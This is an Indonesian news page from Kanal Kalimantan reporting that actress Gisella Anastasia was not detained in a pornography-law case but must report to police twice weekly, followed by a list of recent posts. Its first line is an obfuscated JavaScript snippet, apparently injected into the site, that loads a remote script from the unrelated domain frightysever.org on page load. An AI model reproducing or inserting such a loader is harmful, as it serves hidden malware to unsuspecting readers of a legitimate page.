(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Gisel Dikenakan Wajib Lapor Seminggu 2 Kali


KANALKALIMANTAN.COM – Artis Gisella Anastasia atau Gisel tidak ditahan polisi usai menjalani pemeriksaan sebagai tersangka atas kasus video syur 19 detik, Jumat (8/1/2021). Gisel diperiksa jam lebih olah penyidik Polda Metro Jaya.

Gisel tidak ditahan polisi karena sejumlah alasan. Namun, Gisel dikenakan wajib lapor seminggu dua kali.

“Setiap Senin dan Kamis. Kasusnya juga tetap berlanjut dan tetap berporses. Kita akan lengkapi semua berkas perkara yang ada,” kata Kabid Humas Polda Metro Jaya Kombes Pol Yusri Yunus, Jumat (8/1/2021).

Dia menjelaskan, penyidik tak menahan Gisel karena sejumlah alasan. Salah satunya karena Gisel kooperatif menjalani proses hukum kasus tersebut.

 

“Sehingga diambil satu kesimpulan tak perlu dilakukan penahanan,” katanya.

Pertimbangan lainnya, kata dia, Gisel masih memiliki anak di bawah umur yang membutuhkan bimbingan orang tua.

“(anaknya) Perlu bimbingan orangtua, khususnya ya ibu, sehingga tak kami lakukan penahanan,” ujar Yusri.

Gisel dikenakan wajib lapor seperti tersangka lainnya, Michael Yukinobu de Fretes alias Nobu.

Sebelumnya, Gisella Anastasia dan Michael Yukinobu De Fretes sama-sama ditetapkan sebagai tersangka atas video syur yang beredar sejak awal November 2019.

Video itu, diakui Gisel direkamnya saat menginap di hotel kawasan Medan, Sumatera Utara 2017.

Pasangan tidur ini terjerat pasal pasal 4 ayat 1 Jo pasal 29 dan atau pasal 8 jo pasal Undang-Undang nomor No. 44 tahun 2008 tentang Pornografi. Ancaman hukumannya, enam bulan hingga 12 tahun penjara.

Resmi menjadi tersangka, Gisel dan Nobu telah menyampaikan permintaan maaf secara terpisah. Pria yang diketahui pernah bekerja di stasiun televisi itu menyesali perbuatannya.

“Saya benar-benar menyesal atas semua yang dilakukan. Mungkin ini hukuman dari Tuhan kepada saya,” kata Nobu usai diperiksa di Polda Metro Jaya, Senin (4/1/2021).

Sementara itu, Gisella Anastasia menggelar konferensi persnya, 6 Januari kemarin.

“Saya berharap melalui pernyataan ini, bisa dibukakan pintu maaf yang sebesar-besarnya. Mas Gading dan seluruh keluarga besarnya serta Wijin dan keluarga,” kata Gisel di Hotel Four Seasons, Jakarta Selatan.

“Sekali lagi saya mohon maaf dengan kerendahan hati saya,” sambung Gisel. (suara.com)

 


Al Ghifari

Recent Posts

Sidang Gugatan Pilwali Banjarbaru: KPU RI Ambil Alih, Pemilihan Diulang Lawan Kotak Kosong

KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More

2 jam ago

Angkutan Pelajar Gratis Tak Lagi Layani Sekolah di Banjarbaru, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARBARU  – Operasional Angkutan Pelajar Gratis (APG) Banjarbaru dikabarkan belum melayani para pelajar ke… Read More

3 jam ago

Tak Ada Gugatan di MK, Yamin-Ananda Sah Wali Kota dan Wakil Wali Kota Banjarmasin 2025-2030

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menetapkan Yamin - Ananda sebagai Wali… Read More

5 jam ago

Malam Ini, Fara Ambyar Siap Berbagi Kisah di ‘Lingkar Takdir’

KANALKALIMANTAN.COM - Program 'Lingkar Takdir' merupakan salah satu acara yang memecahkan berbagai masalah kehidupan dari… Read More

5 jam ago

Sahrujani-Hero Setiawan Ditetapkan sebagai Bupati dan Wabup HSU 2025-2030

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi menetapkan H… Read More

6 jam ago

Hakim Tolak Keberatan Dua Terdakwa Suap Proyek PUPR Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin menolak seluruh nota keberatan… Read More

10 jam ago

This website uses cookies.